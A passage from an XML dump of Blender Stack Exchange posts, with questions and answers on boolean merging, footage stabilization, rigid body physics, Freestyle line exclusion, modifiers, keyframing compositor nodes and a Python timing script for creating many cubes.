  <row Id="34641" PostTypeId="2" ParentId="34637" CreationDate="2015-07-27T23:26:54.147" Score="6" Body="&lt;h2&gt;BoolTool add-on&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm not sure on what you mean by saying polyverts, but I'm am assuming that is something similar to parenting+vertex duplication...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GuoIX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GuoIX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So starting from a similar situation, after make the duplicate real, we have a plenty of different objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download and install the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/BoolTool&quot; rel=&quot;nofollow noreferrer&quot;&gt;BoolTool add-on&lt;/a&gt; that will allow us to merge all the objects with boolean operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all the objects, make the base mesh the active object (the biggest one: it's important that this object has at least a piece of volume in common with every sphere object) and choose from BoolTool tool tab the Direct Union tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BZToS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BZToS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will take a while (depending on the number of spheres,their resolution and your hardware...for me about 15 minutes), but the result is quite good, clean and, above all, watertight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mELHT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mELHT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below a view of the insight. Notice how there is only a shell. The internal faces do not exist anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H9rnM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H9rnM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/378/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=378&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-27T23:26:54.147" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34642" PostTypeId="1" CreationDate="2015-07-27T23:44:19.307" Score="4" ViewCount="231" Body="&lt;p&gt;I stabilize a movie clip of 1920x1080 using multiple markers and rotation stabilization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great, but a lot of it goes out of the original canvas. I know I could increase the influence so it almost stays in the canvas, but I want to preserve that large movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I enlarge the canvas so no pixel gets lost, while never rescaling the footage in order to preserve its maximum quality.&#xA;e.g. I would like to render a 3840x2160 video where my 1920x1080 footage is moving around in the middle, and I don't care how the rest of the canvas is filled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I spent hours putting those tracking markers already so I would like to preserve all this and simply enlarge the canvas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="15965" LastActivityDate="2015-07-28T00:43:06.037" Title="How to 2D-stabilize and enlarge canvas to preserve outside pixels?" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34644" PostTypeId="2" ParentId="34642" CreationDate="2015-07-28T00:43:06.037" Score="3" Body="&lt;p&gt;Well... I found the answer and it's in fact quite simple.&#xA;Setting the rendering to a large resolution with scale 100%  is enough to do the job!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the nodes though, to connect Movie &gt; Stabilize &gt; Compositor.&lt;/p&gt;&#xA;" OwnerUserId="15965" LastActivityDate="2015-07-28T00:43:06.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34645" PostTypeId="2" ParentId="33493" CreationDate="2015-07-28T02:06:36.523" Score="4" Body="&lt;p&gt;&lt;strong&gt;The 'INTERFACE' operator return value is used to indicate where an operator has successfully completed by opening a menu or other UI component.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The comment in the source code for the operator return types states that it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* &quot;used for operators that act indirectly (eg. popup menu)&quot; */&#xA;/* &quot;note: this isn't great design (using operators to trigger UI) avoid where possible.&quot; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Source: source/blender/makesdna/DNA_windowmanager_types.h&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This new return type was added during Commit - &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/commit/2f0bdcb306999ff610ecc6073af27b2311924153&quot; rel=&quot;nofollow&quot;&gt;Fix T41041&lt;/a&gt;: &quot;&lt;em&gt;'Delete keyframe' removes markers too&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason for commit update was: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Operators that trigger UI events (but nothing else)&#xA;  were using 'CANCELLED' making it impossible to tell if an invoke&#xA;  function failed, or opened a menu.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-28T02:47:08.430" LastActivityDate="2015-07-28T02:47:08.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34646" PostTypeId="2" ParentId="6394" CreationDate="2015-07-28T03:57:47.790" Score="0" Body="&lt;p&gt;I did change Nvidia to Radeon. After that clicking on the vidget axis doesn't work (it only changes the 3d cursor location). Found this solution on a forum: File-User prefs-System-Selection-&lt;strong&gt;OpenGL Select&lt;/strong&gt; (Not Auto).&lt;/p&gt;&#xA;" OwnerUserId="15966" LastActivityDate="2015-07-28T03:57:47.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34647" PostTypeId="1" CreationDate="2015-07-28T03:59:25.697" Score="0" ViewCount="254" Body="&lt;p&gt;I am trying to use Bullet to get physically accurate simulations by setting up the simulations through Blender (2.73a or 2.75a). &#xA;It seems to be very unreliable with respect to the &lt;strong&gt;physics_step_sub&lt;/strong&gt; property. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most annoyingly, a collision is often &lt;strong&gt;missed&lt;/strong&gt;, and the object gets stuck. I hope someone spots an obvious mistake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up a minimal working example: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a sphere (rigid body, collision_bound_type: SPHERE) that's given an initial velocity, and&lt;/li&gt;&#xA;&lt;li&gt;a wall (actor, static, BOX), that it bounces back from. &lt;/li&gt;&#xA;&lt;li&gt;no gravity&lt;/li&gt;&#xA;&lt;li&gt;elasticity 1 for both objects. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The outcome changes based on the substeps parameter. &#xA;Which would be ok, but which is closest to actual physics?&#xA;I read, that it's not good to have small objects, so I enlarged the scene, the outcome is similar: &lt;a href=&quot;https://drive.google.com/file/d/0B6RALYQZbAvQN1ZaNTB5Q05yeHc/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;tests.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The minimal blend file can be found here: &lt;a href=&quot;https://drive.google.com/file/d/0B6RALYQZbAvQMUU3VDk2dW9XZ0U/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;scene.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adjusting the magic &quot;&lt;em&gt;game.radius&lt;/em&gt;&quot; parameter, but it only changes anything, if it's too large and the objects immediately start to distance themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Collision margins don't seem influence this behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15448" LastActivityDate="2015-07-28T03:59:25.697" Title="Simple rigid body physics (Sphere - Box) depends on substep" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34648" PostTypeId="1" CreationDate="2015-07-28T04:01:29.893" Score="2" ViewCount="630" Body="&lt;p&gt;I have a box with a mesh active rigid body applied to it sitting on top of a character that has the same settings. The box will not act like a solid object and continues to intersect with the characters body. What is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image you see his arm poking out the side of the box instead of the box sitting on top of his arm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nrglx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nrglx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15117" LastActivityDate="2015-07-28T04:01:29.893" Title="Rigid body objects intersecting" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34649" PostTypeId="2" ParentId="33472" CreationDate="2015-07-28T04:15:53.233" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Select green edge loop &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; &gt; Edge rings, Split (&lt;kbd&gt;Y&lt;/kbd&gt;), Hide (&lt;kbd&gt;H&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Select blue edge loop &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; &gt; Edge rings, Split (&lt;kbd&gt;Y&lt;/kbd&gt;), Hide (&lt;kbd&gt;H&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Select all (&lt;kbd&gt;A&lt;/kbd&gt;), delete all vertices &lt;kbd&gt;X&lt;/kbd&gt;, unhide vertices(&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Back to Object Mode (&lt;kbd&gt;Tab&lt;/kbd&gt;), Curve from mesh (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Set Curve 3d fill to &lt;em&gt;full&lt;/em&gt; and set &lt;em&gt;bevel depth&lt;/em&gt; and &lt;em&gt;resolution&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Gnl2t.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gnl2t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9mTjE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9mTjE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7474" LastEditorUserId="3710" LastEditDate="2015-07-28T07:59:31.060" LastActivityDate="2015-07-28T07:59:31.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34650" PostTypeId="1" AcceptedAnswerId="34675" CreationDate="2015-07-28T04:35:34.127" Score="2" ViewCount="1664" Body="&lt;p&gt;I want to create custom property for a bone in &quot;pose mode&quot; and then make it drive a shape key on mesh. As there are lots of shape keys and I need to apply this to every rig I want to script it.&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="7777" LastEditDate="2015-07-28T16:40:55.343" LastActivityDate="2018-11-08T10:47:34.993" Title="How to add custom property to bone in pose mode with python?" Tags="&lt;scripting&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34651" PostTypeId="2" ParentId="34351" CreationDate="2015-07-28T04:59:21.950" Score="0" Body="&lt;p&gt;The answer should be pretty simple: &lt;strong&gt;use a constant as seed&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Backbround&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know the implementarion of Perlin-Noise that you want to use. As long it is deterministic: If you use the same input you get the same output each time you calculate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coordinates (x,y) are constants already. The high (y) is output rather than input. To get a different &quot;grid&quot; with the same coordinates (x,y) you need to modify further input parameters. Usually that are some gradient vectors. I guess you use an implementation that allows to pre-calculate them via a pseudo-random function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Random number generation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A pseudo-random generator expects a seed to start generating a sequence of pseudo-random numbers. The same seed results in the same sequence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A typical pseudo-random generator implementation uses the seed of the system time. This adds a &quot;random factor&quot; which is time of seed generation. It is very unlikely that this time results in the same seed on two runs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you do not want it random, I think you better define a constant for each grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Grid A: seed 1 &lt;/li&gt;&#xA;&lt;li&gt;Grid B: seed 2 &lt;/li&gt;&#xA;&lt;li&gt;Grid C: seed 3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope it helps&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-07-28T04:59:21.950" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34652" PostTypeId="2" ParentId="33472" CreationDate="2015-07-28T05:33:16.230" Score="4" Body="&lt;p&gt;You can use a sub-division surface modifier on top of a wireframe modifier. The trick is to enable 'Crease Edges' in order to maintain the crease in edges you don't want the subdiv to smooth out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9Vp6k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Vp6k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2015-07-28T05:33:16.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34653" PostTypeId="1" AcceptedAnswerId="34712" CreationDate="2015-07-28T05:39:42.533" Score="5" ViewCount="431" Body="&lt;p&gt;Creating 1000's of objects is slower than I thought it should be. Based on a &lt;a href=&quot;https://blender.stackexchange.com/a/33596&quot;&gt;suggestion here&lt;/a&gt; it could be related to name collision checking so I thought I would look into it. Here is some data, and the script I used. As a reference, I also did a simple name comparison between all pairs of objects using an extremely sloowwwww loop in python. That is almost 100 times faster than the creation (which is happening in C, right?) So something else is going on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these times are clearly proportional to n^2, so it does seem to be checking the new shape against all the others. The times don't change much when I use icospheres (80 faces) instead of cubes(6 faces), so it's based on objects, not faces. That rules out some kinds of checking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, first, why (actually) is it so slow, and second, how can I create thousands of objects (e.g. cubes) in a script, without waiting minutes each time I tweak some parameter, while still seeing all of them once it's done. I'm using 2.74.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I did some spot checking by running the loop only once, or over and over with the same nxy, and there does not appear to be contamination of the measurements due to memory issues (see my comments about garbage collection in the script). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E7ftg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E7ftg.png&quot; alt=&quot;time to make a thousand cubes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy as np&#xA;import time&#xA;&#xA;wxy = 15.0&#xA;sx, sy, sz = 0.9, 0.9, 0.2&#xA;t_create_list, t_check_list = [], []&#xA;n_create_list, n_check_list, n_same_list = [], [], []&#xA;nxy_list = [10, 15, 20, 25, 30, 35, 40]&#xA;listlen = len(nxy_list)&#xA;&#xA;for ii, nxy in enumerate(nxy_list):&#xA;    rcube = 0.5 * wxy / float(nxy)&#xA;    q = 0.5 * wxy * (1. - 1. / float(nxy))&#xA;    xyc = np.linspace(-q, q, nxy)&#xA;    XC, YC = np.meshgrid(xyc, xyc)&#xA;    ZC = np.zeros_like(XC)&#xA;    centers = zip(XC.flatten(), YC.flatten(), ZC.flatten())&#xA;&#xA;    start = time.clock()&#xA;    for ic, center in enumerate(centers):&#xA;        ok = bpy.ops.mesh.primitive_cube_add(radius=rcube, location=center)&#xA;        ao = bpy.context.active_object&#xA;        ao.scale = (sx, sy, sz)&#xA;    stop = time.clock()&#xA;    time_to_create = stop - start&#xA;&#xA;    so = bpy.context.selectable_objects&#xA;    number = len(so)&#xA;&#xA;    same, count = 0, 0&#xA;    start = time.clock()&#xA;    for i in range(number):  #very sloowwwww way to compare names&#xA;        for j in range(i, number):&#xA;            count += 1&#xA;            if so[i].name == so[j].name:&#xA;                same += 1&#xA;    stop = time.clock()&#xA;    time_to_check = stop - start&#xA;    t_create_list.append(time_to_create)&#xA;    t_check_list.append(time_to_check)&#xA;    n_create_list.append(number)&#xA;    n_check_list.append(count)&#xA;    n_same_list.append(same)&#xA;&#xA;    for thing in so:&#xA;        thing.select = True&#xA;        bpy.ops.object.delete(use_global=True)&#xA;    # but can I invoke garbage collection inside this loop?&#xA;    # for example, can I somehow do a save .blend which should cause garbage collection?&#xA;&#xA;    print(&quot;number &quot;, ii+1, &quot; of &quot;, listlen)&#xA;&#xA;t_create_list = [round(thing,4) for thing in t_create_list]&#xA;t_check_list =  [round(thing,4) for thing in t_check_list]&#xA;&#xA;lists = [n_create_list, t_create_list, n_check_list,&#xA;         t_check_list, n_same_list]&#xA;&#xA;save = np.array(lists[0],dtype='float')&#xA;for thing in lists[1:]:&#xA;    save = np.vstack((save, thing))&#xA;np.save(&quot;check_it_out&quot;, save)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-07-28T22:21:23.717" Title="Why (actually) does it take me so long to make 1000 cubes?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34655" PostTypeId="2" ParentId="34357" CreationDate="2015-07-28T06:01:50.907" Score="9" Body="&lt;p&gt;You can exclude Freestyle lines on a per-edge, per-face, or per-object basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For edge-by-edge exclusion, you first mark specific mesh edges using Freestyle Edge Mark, and then use the Selection by Edge Types options in combination of the Exclusion flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the same token, you can mark mesh faces using Freestyle Face Mark, and use the Selection by Face Marks for face-by-face exclusion of Freestyle lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per-object line exclusion can be done by first adding objects to a group and then using the Selection by Group options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the Freestyle Line Set section of the online Blender manual for more detail on the three approaches:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blender.org/manual/render/freestyle/parameter_editor/line_set.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.blender.org/manual/render/freestyle/parameter_editor/line_set.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE: Additional notes on edge-by-edge exclusion of lines&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you want to draw silhouette lines except for those flagged by Freestyle edge marks, then follow the instructions below:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable the Inclusive option (that is the default).&lt;/li&gt;&#xA;&lt;li&gt;Enable the Logical AND option (as opposed to the default Logical OR).&lt;/li&gt;&#xA;&lt;li&gt;Turn on the Silhouette and Edge Mark toggles and also enable the X button next to the Edge Mark toggle.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The combination of these options indicates a condition like &quot;silhouette lines AND NOT edge marks&quot; as in a programming language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a limitation in the Freestyle GUI that Logical OR and Logical AND cannot be used at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, suppose that you want to draw silhouette lines and crease lines but not those flagged by Freestyle edge marks.  In this case, you would need to specify a condition like &quot;(silhouette lines OR crease lines) AND NOT edge marks&quot;.  This condition cannot be expressed by a single line set because the condition uses both logical AND and logical OR at the same time.  Instead you define two line sets, one for &quot;silhouette lines AND NOT edge marks&quot;, and another for &quot;crease lines AND NOT edge marks&quot;.  The two line sets are drawn one on top of another, so they are treated as if the two conditions were combined with logical OR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed edge-by-edge exclusion using Freestyle edge marks is a bit tricky to apply.  Inclusion of more lines by edge marks is much easier, and that is the most typical use case of edge marks.&lt;/p&gt;&#xA;" OwnerUserId="1561" LastEditorUserId="1561" LastEditDate="2015-07-28T13:48:02.233" LastActivityDate="2015-07-28T13:48:02.233" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34658" PostTypeId="1" CreationDate="2015-07-28T06:38:53.440" Score="1" ViewCount="101" Body="&lt;p&gt;I'm trying to use the mirror modifier in blender, but when I do, the duplicated half won't change with the normal half. I made a video about it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=UtCjKHoL2uw&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=UtCjKHoL2uw&amp;amp;feature=youtu.be&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help&lt;/p&gt;&#xA;" OwnerUserId="15969" LastActivityDate="2015-07-28T06:50:38.427" Title="Blender mirroring not working" Tags="&lt;mirror&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34659" PostTypeId="2" ParentId="34658" CreationDate="2015-07-28T06:43:45.710" Score="1" Body="&lt;p&gt;You applied the modifier, that's why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only have a short time to explain, but I'll try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modifiers are non-destructive while they have been added to an object, but not yet applied. Once a modifier is applied, the effect is committed to the mesh permananetly. It's kind of like flattening layers in GIMP or Photoshop. It's a one-way street. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are times when you want to apply a modifier and times when you don't. If, for example, you had sculpted a symmetrical body using the Mirror Modifier, but then wanted to sculpt spikes on just one arm, obviously you would want to apply the modifier and then do the non-symmetrical parts.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-07-28T06:50:38.427" LastActivityDate="2015-07-28T06:50:38.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34660" PostTypeId="1" CreationDate="2015-07-28T06:58:57.800" Score="7" ViewCount="4651" Body="&lt;p&gt;In blender compositor Ineed to animate some Node parametors like Transform, Colore curve, Set alpha values etc.. &lt;strong&gt;Is it possible Animate the Compositor node parameters?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="857" LastActivityDate="2015-10-23T12:33:48.470" Title="Is it possible Animate the Compositor node parameters?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34661" PostTypeId="1" AcceptedAnswerId="34666" CreationDate="2015-07-28T08:17:34.620" Score="5" ViewCount="1935" Body="&lt;p&gt;I'm trying to do a cutout animation with imported .png's. The only way I've found to get them to render faithfully is to make them either shadeless or emitters with an emit value of 1. However, I'd like to simulate the effect of actual cutouts where they sit on top of one another and cast a small drop shadow. I've tried adding a second lamp with the 'only shadow' shadow checked, which works to some extent, but the shadow is very faint no matter how much I increase the energy of the lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to achieve this effect?&lt;/p&gt;&#xA;" OwnerUserId="15952" LastEditorDisplayName="user1853" LastEditDate="2015-07-28T14:25:12.380" LastActivityDate="2015-07-28T15:07:41.453" Title="Make imported images insensitive to lighting but cast and receive shadows" Tags="&lt;materials&gt;&lt;light&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34663" PostTypeId="2" ParentId="15676" CreationDate="2015-07-28T08:48:51.347" Score="2" Body="&lt;p&gt;From this &lt;a href=&quot;http://forum.kerbalspaceprogram.com/threads/89360-SOLVED-Unwrapping-multiple-objects-on-a-single-texture&quot; rel=&quot;nofollow&quot;&gt;thread&lt;/a&gt; there seems to be an addon  &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?339369-MultiEdit-%28alpha-1%29-Multiple-Objects-Editing&quot; rel=&quot;nofollow&quot;&gt;Multiple-Objects-Editing&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or the &lt;strong&gt;&lt;em&gt;texture Atlas&lt;/em&gt;&lt;/strong&gt; bundled with blender...&lt;/p&gt;&#xA;" OwnerUserId="14900" LastEditorUserId="5113" LastEditDate="2015-07-28T10:31:21.433" LastActivityDate="2015-07-28T10:31:21.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34664" PostTypeId="2" ParentId="27645" CreationDate="2015-07-28T08:58:55.127" Score="0" Body="&lt;p&gt;First set your object origin to center of bounding box, then move it to the location you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS')&#xA;bpy.context.object.location.x = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7474" LastActivityDate="2015-07-28T08:58:55.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34665" PostTypeId="2" ParentId="34660" CreationDate="2015-07-28T09:02:00.027" Score="9" Body="&lt;p&gt;Of course. As (almost) everywhere in blender:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Insert a keyframe by placing the cursor over a property and press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Move to a different frame in the timeline&lt;/li&gt;&#xA;&lt;li&gt;Set the property to the desired value&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; again for a second keyframe on this property&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/irmzM.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/irmzM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternatively&lt;/strong&gt;, you can just &lt;em&gt;right click&lt;/em&gt; on (almost) any property and choose &lt;em&gt;Insert Keyframe&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tHpVH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tHpVH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dopesheet &amp;amp; Graph Editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aeD9o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aeD9o.png&quot; alt=&quot;enter image description 